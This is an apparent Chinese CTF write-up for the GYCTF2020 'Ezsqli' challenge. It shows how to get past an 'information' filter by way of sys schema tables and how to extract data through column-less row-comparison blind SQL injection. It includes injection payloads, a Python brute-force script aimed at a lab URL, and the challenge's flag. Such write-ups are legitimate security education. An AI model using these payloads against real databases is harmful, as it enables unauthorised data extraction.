[GYCTF2020]Ezsqli ---不会编程的崽

又是sql新题型哦。继续收集!

既然知道是sql注入就不墨迹了。初步判断盲注,判断盲注的方发不用说了吧,然后fuzz一下,information被过滤了。再次可以判断为盲注与无列名注入。

管他有列名还是无列名,先找到表。由于information被过滤了。可以用以下来代替sys.x$schema_flattened_keys

sys.schema_table_statistics_with_buffer

2||(ASCII(SUBSTR((select(group_concat(table_name))FROM(sys.x$schema_flattened_keys)where(table_schema)=database()),1,1))=102)

拿去脚本跑一下

 因为无列名注入无法获得列名,不能使用普通盲注,而且这里也无法使用union select。来尝试一下新的方法吧。我从别人那扒过来的

大概什么意思呢?

匹配逻辑是比较首字母ascii码大小(与长度无关)。若首字母相等,继续比较下一位
a>f 0
f>a 1
a=a 0
af>fl 0
af>ae 1
aff>afg 0
aff>afe 1
aff>afef 1

 这是比较形象的解释。所以构造payload。flag就是要替换的字符

((select 1,"flag")>(select * from f1ag_1s_h3r3_hhhhh))
import requests

flag=''
res=''
url1="http://697e1a0c-606c-4c7b-9a31-69449c4995d7.node5.buuoj.cn:81/index.php"
for i in range(1,500,1):
    for y in range(32,128,1):
        x=res+chr(y)  #将匹配的字符与将要匹配的字符拼接进行比较
        url='-1||((select 1,"'+x+'")>(select * from f1ag_1s_h3r3_hhhhh))'
        content={'id':url}
        data=requests.post(url=url1,data=content)
        if "Nu1L" in str(data.text):
            res = res + chr(y-1) #匹配成功后自增,减一是因为相等返回为0,但成立条件是大于返回1,所以减1才是相等
            flag=flag+chr(y-1)
            print(flag)
            break

脚本写的不好,请见谅。 

 

这题不难,难的是不知道有哪些表可以利用,不知道这种比较方法

最后在转化为小写就可以提交了

print('FLAG{BEF4BF3D-7FCC-4A5B-B2C9-212DE6E978C6}'.lower())

  • 14
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值